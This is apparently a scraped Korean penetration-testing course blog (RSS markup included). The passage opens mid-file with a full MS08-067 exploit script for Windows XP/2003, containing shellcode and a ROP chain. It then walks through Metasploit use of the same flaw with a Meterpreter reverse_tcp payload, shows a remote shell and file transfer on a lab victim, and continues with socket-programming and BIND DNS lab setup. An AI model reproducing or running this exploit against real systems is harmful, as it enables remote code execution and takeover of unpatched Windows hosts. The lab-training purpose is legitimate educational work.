shellcode += &quot;\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22&quot;
shellcode += &quot;\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1&quot;
shellcode += &quot;\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0&quot;
shellcode += &quot;\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2&quot;
shellcode += &quot;\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22&quot;
shellcode += &quot;\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4&quot;
shellcode += &quot;\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60&quot;
shellcode += &quot;\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48&quot;
shellcode += &quot;\x08\x9e\xe0&quot;

nonxjmper = &quot;\x08\x04\x02\x00%s&quot;+&quot;A&quot;*4+&quot;%s&quot;+&quot;A&quot;*42+&quot;\x90&quot;*8+&quot;\xeb\x62&quot;+&quot;A&quot;*10
disableNXjumper = &quot;\x08\x04\x02\x00%s%s%s&quot;+&quot;A&quot;*28+&quot;%s&quot;+&quot;\xeb\x02&quot;+&quot;\x90&quot;*2+&quot;\xeb\x62&quot;
ropjumper = &quot;\x00\x08\x01\x00&quot;+&quot;%s&quot;+&quot;\x10\x01\x04\x01&quot;;
module_base = 0x6f880000
def generate_rop(rvas):
    gadget1=&quot;\x90\x5a\x59\xc3&quot;
    gadget2 = [&quot;\x90\x89\xc7\x83&quot;, &quot;\xc7\x0c\x6a\x7f&quot;, &quot;\x59\xf2\xa5\x90&quot;]    
    gadget3=&quot;\xcc\x90\xeb\x5a&quot;    
    ret=struct.pack(&#39;&lt;L&#39;, 0x00018000)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;call_HeapCreate&#39;]+module_base)
    ret+=struct.pack(&#39;&lt;L&#39;, 0x01040110)
    ret+=struct.pack(&#39;&lt;L&#39;, 0x01010101)
    ret+=struct.pack(&#39;&lt;L&#39;, 0x01010101)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;add eax, ebp / mov ecx, 0x59ffffa8 / ret&#39;]+module_base)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;pop ecx / ret&#39;]+module_base)
    ret+=gadget1
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;mov [eax], ecx / ret&#39;]+module_base)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;jmp eax&#39;]+module_base)
    ret+=gadget2[0]
    ret+=gadget2[1]
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret&#39;]+module_base)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;pop ecx / ret&#39;]+module_base)
    ret+=gadget2[2]
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;mov [eax+0x10], ecx / ret&#39;]+module_base)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;add eax, 8 / ret&#39;]+module_base)
    ret+=struct.pack(&#39;&lt;L&#39;, rvas[&#39;jmp eax&#39;]+module_base)
    ret+=gadget3    
    return ret
class SRVSVC_Exploit(Thread):
    def __init__(self, target, os, port=445):
        super(SRVSVC_Exploit, self).__init__()
        self.__port   = port
        self.target   = target
        self.os          = os


    def __DCEPacket(self):
    if (self.os==&#39;1&#39;):
        print &#39;Windows XP SP0/SP1 Universal\n&#39;
        ret = &quot;\x61\x13\x00\x01&quot;
        jumper = nonxjmper % (ret, ret)
    elif (self.os==&#39;2&#39;):
        print &#39;Windows 2000 Universal\n&#39;
        ret = &quot;\xb0\x1c\x1f\x00&quot;
        jumper = nonxjmper % (ret, ret)
    elif (self.os==&#39;3&#39;):
        print &#39;Windows 2003 SP0 Universal\n&#39;
        ret = &quot;\x9e\x12\x00\x01&quot;  #0x01 00 12 9e
        jumper = nonxjmper % (ret, ret)
    elif (self.os==&#39;4&#39;):
        print &#39;Windows 2003 SP1 English\n&#39;
        ret_dec = &quot;\x8c\x56\x90\x7c&quot;  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
        ret_pop = &quot;\xf4\x7c\xa2\x7c&quot;  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
        jmp_esp = &quot;\xd3\xfe\x86\x7c&quot; #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
        disable_nx = &quot;\x13\xe4\x83\x7c&quot; #0x 7c 83 e4 13 NX disable @NTDLL.DLL
        jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
    elif (self.os==&#39;5&#39;):
        print &#39;Windows XP SP3 French (NX)\n&#39;
        ret = &quot;\x07\xf8\x5b\x59&quot;  #0x59 5b f8 07 
        disable_nx = &quot;\xc2\x17\x5c\x59&quot; #0x59 5c 17 c2 
        jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
    elif (self.os==&#39;6&#39;):
        print &#39;Windows XP SP3 English (NX)\n&#39;
        ret = &quot;\x07\xf8\x88\x6f&quot;  #0x6f 88 f8 07 
        disable_nx = &quot;\xc2\x17\x89\x6f&quot; #0x6f 89 17 c2 
        jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
    elif (self.os==&#39;7&#39;):
        print &#39;Windows XP SP3 English (AlwaysOn NX)\n&#39;
        rvasets = {&#39;call_HeapCreate&#39;: 0x21286,&#39;add eax, ebp / mov ecx, 0x59ffffa8 / ret&#39; : 0x2e796,&#39;pop ecx / ret&#39;:0x2e796 + 6,&#39;mov [eax], ecx / ret&#39;:0xd296,&#39;jmp eax&#39;:0x19c6f,&#39;mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret&#39;:0x10a56,&#39;mov [eax+0x10], ecx / ret&#39;:0x10a56 + 6,&#39;add eax, 8 / ret&#39;:0x29c64}
        jumper = generate_rop(rvasets)+&quot;AB&quot;  #the nonxjmper also work in this case.
    else:
        print &#39;Not supported OS version\n&#39;
        sys.exit(-1)
    print &#39;[-]Initiating connection&#39;

        self.__trans = transport.DCERPCTransportFactory(&#39;ncacn_np:%s[\\pipe\\browser]&#39; % self.target)
        self.__trans.connect()
        print &#39;[-]connected to ncacn_np:%s[\\pipe\\browser]&#39; % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin((&#39;4b324fc8-1670-01d3-1278-5a47bf6ee188&#39;, &#39;3.0&#39;)))

        path =&quot;\x5c\x00&quot;+&quot;ABCDEFGHIJ&quot;*10 + shellcode +&quot;\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00&quot; + &quot;\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00&quot;  + jumper + &quot;\x00&quot; * 2

        server=&quot;\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00&quot;
        prefix=&quot;\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00&quot;

        self.__stub=server+&quot;\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00&quot; + path +&quot;\xE8\x03\x00\x00&quot;+prefix+&quot;\x01\x10\x00\x00\x00\x00\x00\x00&quot;

        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub) 
        time.sleep(5)
        print &#39;Exploit finish\n&#39;

if __name__ == &#39;__main__&#39;:
       try:
           target = sys.argv[1]
       os = sys.argv[2]
       except IndexError:
                print &#39;\nUsage: %s &lt;target ip&gt;\n&#39; % sys.argv[0]
                print &#39;Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n&#39;
                print &#39;Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n&#39;
                sys.exit(-1)

current = SRVSVC_Exploit(target, os)
current.start()


[root@kali ~]# msfconsole

msf6 &gt; search ms08_067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 &gt; info exploit/windows/smb/ms08_067_netapi 

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption   &lt;-- 모듈을 설명하는 이름
     Module: exploit/windows/smb/ms08_067_netapi  &lt;-- 모듈명
   Platform: Windows  &lt;-- 플랫폼은 이 공격이 윈도우 시스템에 해당되는 것을 의미한다.
       Arch: 
 Privileged: Yes  &lt;-- 이 공격이 성공했을 때 목표 시스템에 대한 권한을 얻게 되는지 알려준다.
    License: Metasploit Framework License (BSD)
       Rank: Great   &lt;-- 순위는 이 공격으로 인하여 목표 시스템이 받게 되는 잠재적인 영향을 목록화한다.
  Disclosed: 2008-10-28  &lt;-- 공개된 날짜

Provided by:  &lt;-- 제공된 사람들
  hdm &lt;x@hdm.io&gt;
  Brett Moore &lt;brett.moore@insomniasec.com&gt;
  frank2 &lt;frank2@dc949.org&gt;
  jduck &lt;jduck@metasploit.com&gt;

Available targets:    &lt;-- 가용 목표는 해당 모듈이 공략할 수 있는 OS버전과 패치 레벨을 목록화한다. 
  Id  Name                총 81개의 공격 가능한 목표를 갖고 있다.
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows 2003 SP0 Universal
  4   Windows XP SP2 English (AlwaysOn NX)
  5   Windows XP SP2 English (NX)
  6   Windows XP SP3 English (AlwaysOn NX)
  7   Windows XP SP3 English (NX)
  8   Windows XP SP2 Arabic (NX)
  9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  10  Windows XP SP2 Chinese - Simplified (NX)
  11  Windows XP SP2 Chinese - Traditional (NX)
  12  Windows XP SP2 Czech (NX)
  13  Windows XP SP2 Danish (NX)
  14  Windows XP SP2 German (NX)
  15  Windows XP SP2 Greek (NX)
  16  Windows XP SP2 Spanish (NX)
  17  Windows XP SP2 Finnish (NX)
  18  Windows XP SP2 French (NX)
  19  Windows XP SP2 Hebrew (NX)
  20  Windows XP SP2 Hungarian (NX)
  21  Windows XP SP2 Italian (NX)
  22  Windows XP SP2 Japanese (NX)
  23  Windows XP SP2 Korean (NX)
  24  Windows XP SP2 Dutch (NX)
  25  Windows XP SP2 Norwegian (NX)
  26  Windows XP SP2 Polish (NX)
  27  Windows XP SP2 Portuguese - Brazilian (NX)
  28  Windows XP SP2 Portuguese (NX)
  29  Windows XP SP2 Russian (NX)
  30  Windows XP SP2 Swedish (NX)
  31  Windows XP SP2 Turkish (NX)
  32  Windows XP SP3 Arabic (NX)
  33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  34  Windows XP SP3 Chinese - Simplified (NX)
  35  Windows XP SP3 Chinese - Traditional (NX)
  36  Windows XP SP3 Czech (NX)
  37  Windows XP SP3 Danish (NX)
  38  Windows XP SP3 German (NX)
  39  Windows XP SP3 Greek (NX)
  40  Windows XP SP3 Spanish (NX)
  41  Windows XP SP3 Finnish (NX)
  42  Windows XP SP3 French (NX)
  43  Windows XP SP3 Hebrew (NX)
  44  Windows XP SP3 Hungarian (NX)
  45  Windows XP SP3 Italian (NX)
  46  Windows XP SP3 Japanese (NX)
  47  Windows XP SP3 Korean (NX)      &lt;-- Victim1의 OS에 해당된다.
  48  Windows XP SP3 Dutch (NX)
  49  Windows XP SP3 Norwegian (NX)
  50  Windows XP SP3 Polish (NX)
  51  Windows XP SP3 Portuguese - Brazilian (NX)
  52  Windows XP SP3 Portuguese (NX)
  53  Windows XP SP3 Russian (NX)
  54  Windows XP SP3 Swedish (NX)
  55  Windows XP SP3 Turkish (NX)
  56  Windows 2003 SP1 English (NO NX)
  57  Windows 2003 SP1 English (NX)
  58  Windows 2003 SP1 Japanese (NO NX)
  59  Windows 2003 SP1 Spanish (NO NX)
  60  Windows 2003 SP1 Spanish (NX)
  61  Windows 2003 SP1 French (NO NX)
  62  Windows 2003 SP1 French (NX)
  63  Windows 2003 SP2 English (NO NX)
  64  Windows 2003 SP2 English (NX)
  65  Windows 2003 SP2 German (NO NX)
  66  Windows 2003 SP2 German (NX)
  67  Windows 2003 SP2 Portuguese (NX)
  68  Windows 2003 SP2 Portuguese - Brazilian (NX)
  69  Windows 2003 SP2 Spanish (NO NX)
  70  Windows 2003 SP2 Spanish (NX)
  71  Windows 2003 SP2 Japanese (NO NX)
  72  Windows 2003 SP2 French (NO NX)
  73  Windows 2003 SP2 French (NX)
  74  Windows 2003 SP2 Chinese - Simplified (NX)
  75  Windows 2003 SP2 Czech (NX)
  76  Windows 2003 SP2 Dutch (NX)
  77  Windows 2003 SP2 Hungarian (NX)
  78  Windows 2003 SP2 Italian (NX)
  79  Windows 2003 SP2 Russian (NX)
  80  Windows 2003 SP2 Swedish (NX)
  81  Windows 2003 SP2 Turkish (NX)

Check supported:
  Yes

Basic options:    &lt;-- 기본 옵션은 다양한 옵션들이 존재한다.
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:     &lt;-- 페이로드 정보는 공격 코드에 사용할 수 있는 페이로드 정보를 담고 있다.
  Space: 408
  Avoid: 8 characters

Description:     &lt;-- 설명은 해당 모듈이 공격하는 특정 취약점에 관한 더 많은 정보를 포함하고 있다.
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:  &lt;-- 참고는 온라인 취약점 데이터베이스 항목에 관한 링크다.
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos


View the full module info with the info -d command.

&gt;&gt;&gt; 공격 순서 &lt;&lt;&lt;

1. 공격 module 검색: search
2. 공격 module 선택: use
3. 공격 payload 선택: set payload
4. module 옵션값 설정: show -&gt; set
5. 공격 payload 설정: set ...
6. 공격: exploit

search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set  payload windows/meterpreter/reverse_tcp
set RHOSTS 200.200.200.4
show options

msf6 exploit(windows/smb/ms08_067_netapi) &gt; exploit 

[*] Started reverse TCP handler on 200.200.200.3:4444 
[*] 200.200.200.4:445 - Automatically detecting the target...
[*] 200.200.200.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Korean
[*] 200.200.200.4:445 - Selected Target: Windows XP SP3 Korean (NX)
[*] 200.200.200.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:4444 -&gt; 200.200.200.4:1078) at 2023-03-09 01:49:14 -0500

meterpreter &gt; 

Target의 Windows XP가 방화벽이 설정되지 않았기 때문에 exploit 명령어 이후에 공격 패킷을 전송하고 
공격에 성공되면 아래처럼 Meterpreter session 1 opened 메세지가 출력되고 프롬프트가 생기게 된다.

공격이 연결된 미터프리터 쉘 구조

                +-- meterpreter shell
                |
  Attacker      |        Victim1
+----------+    v      +----------+
|          |  +===+    |          |
|          |  |   |    |          |
|   4444 ----&gt;| M |&lt;------- 1078  |
|          |  |   |    |          |
|          |  +===+    |          |
+----------+           +----------+
200.200.200.3          200.200.200.4
                       filewall.cpl 비활성화


meterpreter &gt; help

meterpreter &gt; shell
Process 1056 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;

C:\WINDOWS\system32&gt;ipconfig       
ipconfig

Windows IP Configuration


Ethernet adapter ·τ`¿µ¿ª ¿¬°

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

netstat or tcpview 로 확인하면 연결된 상태를 확인할 수 있다. 
C:\&gt;netstat -na | findstr 4444
  TCP    200.200.200.4:1078     200.200.200.3:4444     ESTABLISHED

C:\WINDOWS\system32&gt;exit</code></pre><blockquote>
<p>*<em>실습&gt; 파일 업로드 *</em></p>
</blockquote>
<pre><code>ls  : Remote ls
lls : Local ls

meterpreter &gt; help upload
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.

OPTIONS:

    -h  Help banner
    -r  Upload recursively

meterpreter &gt; upload /etc/passwd /etc/group c:/
meterpreter &gt; upload /bin/ls c:/
meterpreter &gt; ls c:/

meterpreter &gt; help download 
Usage: download [options] src1 src2 src3 ... destination

Downloads remote files and directories to the local machine.

OPTIONS:

    -a   Enable adaptive download buffer size
    -b   Set the initial block size for the download
    -c   Resume getting a partially-downloaded file
    -h   Help banner
    -l   Set the limit of retries (0 unlimits)
    -r   Download recursively
    -t   Timestamp downloaded files

Victim, Target에 있는 파일을 다운로드 받아서 파일의 크기를 비교한다.
meterpreter &gt; download C:/windows/system32/notepad.exe
[*] Downloading: C:/windows/system32/notepad.exe -&gt; /root/notepad.exe
[*] Downloaded 66.00 KiB of 66.00 KiB (100.0%): C:/windows/system32/notepad.exe -&gt; /root/notepad.exe
[*] download   : C:/windows/system32/notepad.exe -&gt; /root/notepad.exe
meterpreter &gt; lls notepad.exe
100644/rw-r--r--  67584  fil  2008-04-14 08:00:00 -0400  notepad.exe

meterpreter &gt; exit
[*] Shutting down Meterpreter...

[*] 200.200.200.4 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(windows/smb/ms08_067_netapi) &gt; exit</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[모의해킹 - 3 (교육 72일차)]]></title>
            <link>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9</link>
            <guid>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9</guid>
            <pubDate>Wed, 08 Mar 2023 08:47:05 GMT</pubDate>
            <description><![CDATA[<p>참고:
<a href="https://github.com/apsrcreatix/Socket-Programming-With-C/blob/master/03-tcp-ip-client-server/server.c">https://github.com/apsrcreatix/Socket-Programming-With-C/blob/master/03-tcp-ip-client-server/server.c</a></p>
<pre><code># vi server.c
/*
 * 파일명: server.c
 */

#include&lt;stdio.h&gt;
#include&lt;stdlib.h&gt;
#include&lt;sys/types.h&gt;
#include&lt;sys/socket.h&gt;
#include&lt;netinet/in.h&gt;
#include &lt;unistd.h&gt;

int main()
{

    char serverMessage[256] = &quot;You have a missed call from server\n&quot;;

    //create the server socket
    int socketDescriptor = socket(AF_INET,SOCK_STREAM,0);

    //define the server address
    //creating the address as same way we have created for TCPclient
    struct sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(9002);
    serverAddress.sin_addr.s_addr = INADDR_ANY;

    //calling bind function to oir specified IP and port
    bind(socketDescriptor,(struct sockaddr*) &amp;serverAddress,sizeof(serverAddress));

    listen(socketDescriptor,5);

    //starting the accepting 
    //accept(socketWeAreAccepting,structuresClientIsConnectingFrom,)
    int client_socket = accept(socketDescriptor, NULL, NULL);

    //sending data
    //send(toWhom,Message,SizeOfMessage,FLAG);
    send(client_socket,serverMessage,sizeof(serverMessage),0);

    //close the socket
    close(socketDescriptor);
    return 0;
}

/*
 * 파일명: client.c
 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;unistd.h&gt;
#define SIZE 1000

//main functions
int main()
{
    int socketDescriptor = socket(AF_INET, SOCK_STREAM, 0);
    // server address
    struct sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(9002);
    serverAddress.sin_addr.s_addr = INADDR_ANY;

    // communicates with listen
    connect(socketDescriptor, (struct sockaddr *)&amp;serverAddress, sizeof(serverAddress));

    char serverResponse[SIZE];
    recv(socketDescriptor, &amp;serverResponse, sizeof(serverResponse), 0);
    printf(&quot;Ther server sent the data : %s&quot;, serverResponse);

    //closing the socket
    close(socketDescriptor);

    return 0;
}

# gcc -o server server.c
# gcc -o client client.c

# systemctl stop firewalld
# systemctl disable firewalld

# ./server

다른 터미널에서 열린 포트를 확인한다.
# ss -nlt
State      Recv-Q Send-Q    Local Address:Port                   Peer Address:Port              
LISTEN     0      5                     *:9002                              *:*                  
LISTEN     0      128                   *:22                                *:*                  
LISTEN     0      100           127.0.0.1:25                                *:*                  
LISTEN     0      128                [::]:80                             [::]:*                  
LISTEN     0      128                [::]:22                             [::]:*                  
LISTEN     0      100               [::1]:25                             [::]:*   

# ./client 
Ther server sent the data : You have a missed call from server


소켓을 알아야하는 이유는
공격자가 악성코드를 이용해서 피해자를 연결하기 위해서는 소켓통신으로 연결되어 있기 때문이다.

소켓
- Client/Server 를 이해한다.

Bind Shell/Reverse Shell
- Bind Shell/Reverse Shell을 소켓에 넣는다.

어셈블리 코드
- Bind Shell/Reverse Shell 어셈블리 코드를 뽑아낸다.

쉘코드
- Bind Shell/Reverse Shell 쉘코드를 뽑아낸다.
- 취약점이 있는 곳에 사용한다.

</code></pre><blockquote>
<p><strong>실습&gt; DNS 서버 설치하기</strong></p>
</blockquote>
<pre><code>CentOS 7 victim3에서 설치한다.

포트: 53
질의: UDP 53, TCP 53(존 동기화, 질의할 때 UDP의 데이의 양이 많을 때 TCP로 변경)

bind : 
네임서버 패키지 
Berkeley Internet Name Domain (BIND) DNS (Domain Name System) server

1. 패키지 설치
DNS 관련 패키지를 설치한다.
# yum -y install bind bind-chroot bind-utils

서버 재부팅 시 다시 네임서버를 시작하기 위해서 named를 활성화시킨다.
# systemctl enable named

네임서버를 시작한다.
# systemctl start named

네임서버가 잘 실행되었는지 확인한다.
# systemctl status named
# yum -y install net-tools
# ss -nltu
# netstat -nltup

2. 설정 파일 수정
네임서버 전체 설정 파일: /etc/named.conf
도메인 설정 파일: /etc/named.rfc1912.zones

listen-on port :
any; 로 설정하면 모든 IP주소가 53번 포트가 열리게 된다.
IP주소가 1개만 있으면 상관이 없지만 any; 로 설정하면 모든 IP주소에 53번 포트가 열리게 되므로 
특정 IP주소만 열릴 수 있도록 설정하는 것이 좋다.

listen-on-v6 port 53 : IPv6 에 해당하므로 사용하지 않는다.

allow-query : 
도메인 질의를 허용하는 클라이언트를 적는다. any라고 하면 아무곳에서나 접속해서 도메인에 대한 질의를 허용하는 것이다. 
그래서 일반적으로 allow-query는 any로 둔다.

dnssec-enable, dnssec-validation:
DNS 보안에 관련된 내용이지만 연습서버이므로 모두 no 로 설정한다.
# vi /etc/named.conf 
// listen-on port 53 { 200.200.200.6; 127.0.0.1; };
listen-on port 53 { any; };
// listen-on-v6 port 53 { ::1; };
allow-query     { any; };
recursion yes;
dnssec-enable no; 
dnssec-validation no;     

설정 파일을 수정 후 네임서버를 재시작하고 포트번호를 확인한다.
# systemctl reload named
# netstat -nltup
# ss -nltup

3. 방화벽 설정
# systemctl stop firewalld
# systemctl disable firewalld

# yum -y install iptables-services
# systemctl disable iptables

4. 도메인 등록

도메인을 설정하는 순서
1. /etc/named.rfc1912.zones 파일에 도메인을 등록한다.
2. /var/named/&lt;정방향존파일&gt;을 생성 후 설정한다.
3. named-checkconf, named-checkzone 명령어로 설정파일과 존파일을 문법을 검사한다.
4. systemctl restart named, systemctl reload named 명령어로 네임서버를 리로드한다.
5. nslookup, dig, host 명령어로 도메인을 확인한다.

/etc/named.rfc1912.zones 파일에 도메인을 등록한다.
등록하는 형식은 아래처럼 등록해야 한다.

zone &quot;도메인명&quot; IN {
    type 네임서버종류;
    file &quot;포워드존파일&quot;;
    allow-update { none; };
};

존파일: 도메인에 대한 정보를 가지고 있는 파일
포워드 존파일 (정방향 존파일): 도메인을 요청했을 때 IP주소 정보를 저장하고 있는 파일
리버스 존파일 (역방향 존파일): IP주소 정보를 요청했을 때 도메인 정보를 저장하고 있는 파일


sbs.com, kbs.com, mbc.com 도메인을 등록한다.
# vi /etc/named.rfc1912.zones 
  :
  :(생략)
zone &quot;sbs.com&quot; IN { type master; file &quot;sbs.com.zone&quot;; allow-update { none; }; }; 
zone &quot;kbs.com&quot; IN { type master; file &quot;kbs.com.zone&quot;; allow-update { none; }; };
zone &quot;mbc.com&quot; IN { type master; file &quot;mbc.com.zone&quot;; allow-update { none; }; };

포워드 존파일 생성
/var/named/&lt;정방향존파일&gt;을 생성 후 설정한다.
/etc/named.conf: directory &quot;/var/named&quot;;
/etc/named.rfc1912.zones: file &quot;sbs.com.zone&quot;;
sbs.com 의 포워드 존파일: /var/named/sbs.com.zone
# cd /var/named

# cp -a named.localhost sbs.com.zone
# vi sbs.com.zone
$TTL 300
@       IN   SOA  ns1  root (2022092701 21600 1800 1209600 180)
        IN   NS   ns1
        IN   A    200.200.200.6
ns1     IN   A    200.200.200.6
www     IN   A    200.200.200.6

# cp -a sbs.com.zone kbs.com.zone
# cp -a kbs.com.zone mbc.com.zone

5. 네임서버 시작
설정파일에 문제가 없는지 확인하고 이상이 없을 경우 재시작 한다.
named-checkconf: 설정파일을 체크하는 명령어
- 설정 파일에 문제가 없으면 아무것도 출력되지 않고 에러가 발생하면 에러를 출력한다.
named-checkzone: 존 파일을 체크하는 명령어
- 설정 파일에 문제가 없으면 serial(버전)과 OK가 출력되고 에러가 발생하면 에러를 출력한다.
# named-checkconf  
# named-checkzone sbs.com sbs.com.zone 
zone sbs.com/IN: loaded serial 2022092701
OK
# named-checkzone kbs.com kbs.com.zone 
zone kbs.com/IN: loaded serial 2022092701
OK
# named-checkzone mbc.com mbc.com.zone 
zone mbc.com/IN: loaded serial 2022092701
OK

네임서버를 리로드한다.
# systemctl reload named

6. 도메인 질의

# cat /etc/resolv.conf 
# Generated by NetworkManager
search linuxmaster.net
nameserver 168.126.63.1
nameserver 168.126.63.2


# nslookup sbs.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
Name:    sbs.com
Address: 107.22.178.157

# dig sbs.com +short
107.22.178.157

nslookup과 dig을 이용해서 도메인을 질의하면 결과는 200.200.200.6이 나온다.
# nslookup sbs.com 127.0.0.1
# nslookup kbs.com 127.0.0.1
# nslookup mbc.com 127.0.0.1

# dig @127.0.0.1 sbs.com +short
# dig @127.0.0.1 kbs.com +short
# dig @127.0.0.1 mbc.com +short
</code></pre><blockquote>
<p><strong>실습&gt; recursion 변경하기</strong></p>
</blockquote>
<pre><code>이 설정을 통해서 외부에 질의하지 못하게 가상으로 설정할 수 있다.
recursion: 설정된 DNS서버에서 등록된 도메인이 아니면 외부 DNS에서 검색하는 기능이다.

외부에 질의를 하지 못하게 recursion을 no 로 수정한다.
recursion yes -&gt; no
# vi /etc/named.conf
recursion no;

# systemctl reload named

네임서버를 임시적으로 자기 자신으로 변경한다.
# vi /etc/resolv.conf
nameserver 127.0.0.1

외부로 나가는지 테스트한다.
- 자신이 등록한 도메인 sbs.com, kbs.com, mbc.com 이외에는 응답을 하지 않는다.
# dig sbs.com +short
200.200.200.6
# dig kbs.com +short
200.200.200.6
# dig mbc.com +short
200.200.200.6

naver.com, ytn.com 처럼 네임서버에 설정되지 않은 도메인일 경우 외부로 나가지 못하므로 아무것도 출력되지 않는다.
# dig naver.com +short
# dig ytn.com +short
</code></pre><blockquote>
<p><strong>실습&gt; Kali Linux 네임서버 변경하기</strong></p>
</blockquote>
<pre><code>168.126.63.1, 168.126.63.2 -&gt; 200.200.200.6으로 변경한다.

DNS 변경 전
[root@kali ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
nameserver 168.126.63.1
nameserver 168.126.63.2

[root@kali ~]# dig sbs.com +short
107.22.178.157

[root@kali ~]# dig kbs.com +short
141.193.213.10
141.193.213.11

[root@kali ~]# dig mbc.com +short
162.209.18.56

DNS 변경 후
[root@kali ~]# vi /etc/resolv.conf 
# Generated by NetworkManager
nameserver 200.200.200.6

[root@kali ~]# dig sbs.com kbs.com mbc.com +short
200.200.200.6
200.200.200.6
200.200.200.6

200.200.200.6 DNS 서버에서 recursion 설정이 no 로 되어 있으므로
외부로 나가지 못하므로 아무것도 출력되지 않는다.
[root@kali ~]# dig daum.net  +short
[root@kali ~]# dig naver.com +short
[root@kali ~]# dig linuxmaster.net +short</code></pre><blockquote>
<p><strong>실습&gt; DNS zone transfer 공격</strong></p>
</blockquote>
<pre><code>sbs.com 도메인이 외부로 나가는지 확인한다.
- 외부로 나간다면 DNS 설정을 다시 확인한다.
[root@kali ~]# dig sbs.com +short
200.200.200.6

DNS zone transfer 공격에 의해서 sbs.com 의 포워드 존파일을 모두 가져온다.
zone transfer: zone 에 설정된 내용을 전송(2차 네임서버에만 전송해야 된다.)
- bind 네임서버를 설치하면 기본값은 zone transfer가 열려있다.
